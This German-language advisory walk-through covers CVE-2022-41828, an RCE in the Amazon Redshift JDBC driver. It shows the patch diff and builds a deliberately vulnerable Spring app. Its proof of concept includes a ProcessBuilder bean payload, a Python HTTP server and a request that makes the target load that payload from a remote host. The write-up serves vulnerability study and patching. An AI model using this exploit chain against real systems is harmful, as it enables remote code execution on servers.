
[CVE-2022-41828] Amazon AWS Redshift JDBC Driver Remotecodeausführung (RCE)
Der Amazon JDBC-Treiber für Redshift ist ein Type 4 JDBC-Treiber, der Datenbankkonnektivität über die standardmäßigen JDBC-Anwendungsprogrammierschnittstellen (APIs) bereitstellt, die in der Java Platform, Enterprise Edition verfügbar sind. Der Treiber ermöglicht den Zugriff auf Redshift von jeder Java-Anwendung, jedem Anwendungsserver oder Java-fähigen Applet aus.
Ein potenzielles Problem der Remote-Befehlsausführung besteht in redshift-jdbc42 Version 2.1.0.7 und darunter. Wenn Plugins mit dem Treiber verwendet werden, instanziiert er Plugin-Instanzen basierend auf Java-Klassennamen, die über die Verbindungseigenschaften sslhostnameverifier, socketFactory, sslfactory und sslpasswordcallback bereitgestellt werden. In betroffenen Versionen überprüft der Treiber nicht, ob eine Plugin-Klasse vor der Instanziierung die erwartete Schnittstelle implementiert. Dies kann zum Laden beliebiger Java-Klassen führen, die ein kenntnisreicher Angreifer mit Kontrolle über die JDBC-URL nutzen kann, um Remote Code Execution zu erreichen.
Dieses Problem ist in redshift-jdbc-42 Version 2.1.0.8 und höher behoben.
AWS empfiehlt Kunden, die Plugins verwenden, ein Upgrade auf redshift-jdbc42 Version 2.1.0.8 oder höher durchzuführen. Es sind keine bekannten Workarounds für dieses Problem bekannt.
Um dieses Problem zu beheben, wurden in 4 verschiedenen Java-Klassen im Commit aws/amazon-redshift-jdbc-driver@9999659 Änderungen vorgenommen. Diese Klassen sind wie folgt.
@@ -38,7 +38,7 @@ public static SocketFactory getSocketFactory(Properties info) throws RedshiftExc
return SocketFactory.getDefault();
}
try {
//removed return (SocketFactory) ObjectFactory.instantiate(socketFactoryClassName, info, true, RedshiftProperty.SOCKET_FACTORY_ARG.get(info));
return ObjectFactory.instantiate(SocketFactory.class, socketFactoryClassName, info, true, RedshiftProperty.SOCKET_FACTORY_ARG.get(info)); //added
} catch (Exception e) {
throw new RedshiftException(
@@ -66,7 +66,7 @@ public static SSLSocketFactory getSslSocketFactory(Properties info) throws Redsh
if (classname.equals(RedshiftConnectionImpl.NON_VALIDATING_SSL_FACTORY))
classname = NonValidatingFactory.class.getName();
//removed return (SSLSocketFactory) ObjectFactory.instantiate(classname, info, true, RedshiftProperty.SSL_FACTORY_ARG.get(info));
return ObjectFactory.instantiate(SSLSocketFactory.class, classname, info, true, RedshiftProperty.SSL_FACTORY_ARG.get(info)); //added
} catch (Exception e) {
throw new RedshiftException(

@@ -61,7 +61,7 @@ private CallbackHandler getCallbackHandler(Properties info) throws RedshiftExcep
String sslpasswordcallback = RedshiftProperty.SSL_PASSWORD_CALLBACK.get(info);
if (sslpasswordcallback != null) {
try {
//removed cbh = (CallbackHandler) ObjectFactory.instantiate(sslpasswordcallback, info, false, null);
cbh = ObjectFactory.instantiate(CallbackHandler.class, sslpasswordcallback, info, false, null); //added
} catch (Exception e) {
throw new RedshiftException(
GT.tr("The password callback class provided {0} could not be instantiated.",

@@ -59,7 +59,7 @@ private static void verifyPeerName(RedshiftStream stream, Properties info, SSLSo
sslhostnameverifier = "RedshiftjdbcHostnameVerifier";
} else {
try {
//removed hvn = (HostnameVerifier) instantiate(sslhostnameverifier, info, false, null);
hvn = instantiate(HostnameVerifier.class, sslhostnameverifier, info, false, null); //added
} catch (Exception e) {
throw new RedshiftException(
GT.tr("The HostnameVerifier class provided {0} could not be instantiated.",

@@ -34,13 +34,13 @@ public class ObjectFactory {
* @throws IllegalAccessException if something goes wrong
* @throws InvocationTargetException if something goes wrong
*/
//removed public static Object instantiate(String classname, Properties info, boolean tryString,
public static <T> T instantiate(Class<T> expectedClass, String classname, Properties info, boolean tryString, //added
String stringarg) throws ClassNotFoundException, SecurityException, NoSuchMethodException,
IllegalArgumentException, InstantiationException, IllegalAccessException,
InvocationTargetException {
Object[] args = {info};
Constructor<?> ctor = null; //removed
Class<?> cls = Class.forName(classname); //removed
Constructor<? extends T> ctor = null; //added
Class<? extends T> cls = Class.forName(classname).asSubclass(expectedClass); //added
try {
ctor = cls.getConstructor(Properties.class);
} catch (NoSuchMethodException nsme) {

Um CVE-2022-41828 zu reproduzieren, wird eine angreifbare Java-Anwendung mit Spring Framework entwickelt, die den verwundbaren Treiber redshift-jdbc42 in Version 2.1.0.7 als externe Bibliothek verwendet.
Die folgenden Code-Ausschnitte stellen den Inhalt der pom.xml-Datei dar.
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>RedshiftJdbcRce</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>RedshiftJdbcRce</name>
<description>RedshiftJdbcRce</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/com.amazon.redshift/redshift-jdbc42 -->
<dependency>
<groupId>com.amazon.redshift</groupId>
<artifactId>redshift-jdbc42</artifactId>
<version>2.1.0.7</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.4</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>

Die folgenden Code-Ausschnitte stellen den Inhalt der Controller-Klasse src/main/java/com/example/redshiftjdbcrce/controller/RedshiftJdbcRCE.java dar.
package com.example.redshiftjdbcrce.controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.sql.DriverManager;
import java.sql.SQLException;
@RestController
public class RedshiftJdbcRCE {
@RequestMapping("/jdbcset")
public void jdbcSet(HttpServletRequest request, HttpServletResponse response) throws SQLException {
String jdbcurl = request.getParameter("jdbc");
DriverManager.getConnection(jdbcurl);
}
public static void main(String[] args) throws SQLException {
}
}

Die folgende Datei stellt den Inhalt des Konstruktors der XML-Dokumentstruktur cmd.xml dar, die während des Exploits verwendet wird.
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<!--<value>touch</value>-->
<!--<value>/tmp/CVE-2022-41828</value>-->
<value>gnome-calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
Bevor die Verwundbarkeit ausgelöst wird, wird die entsprechende cmd.xml-Datei über HTTP bereitgestellt, sodass sie vom Zielserver abgerufen werden kann.
root@kali:~$ python3 -m http.server 2121
Um die Verwundbarkeit auszulösen/auszunutzen, wird eine Anfrage zusammen mit dem Payload wie folgt gesendet.
POST /jdbcset HTTP/1.1
Host: 127.0.0.1:8081
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
jdbc=jdbc:redshift://127.0.0.1:5439/testdb;socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext;socketFactoryArg=http://172.22.0.43:2121/cmd.xml
HTTP/1.1 500
Content-Type: application/json
Date: Thu, 08 Dec 2022 13:58:14 GMT
Connection: close
Content-Length: 108
{
"timestamp": "2022-12-08T13:58:14.295+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/jdbcset"
}

Weitere Informationen zur Behebung dieser Sicherheitslücke finden Sie in den folgenden Ressourcen:
AWS Redshift JDBC Driver fails to validate class type during object instantiationPotential remote command execution within redshift-jdbc-42 <= 2.1.0.7aws/amazon-redshift-jdbc-driver@40b143baws/amazon-redshift-jdbc-driver@9999659CVE-2022-41828CVE-2022-41828CVE-2022-41828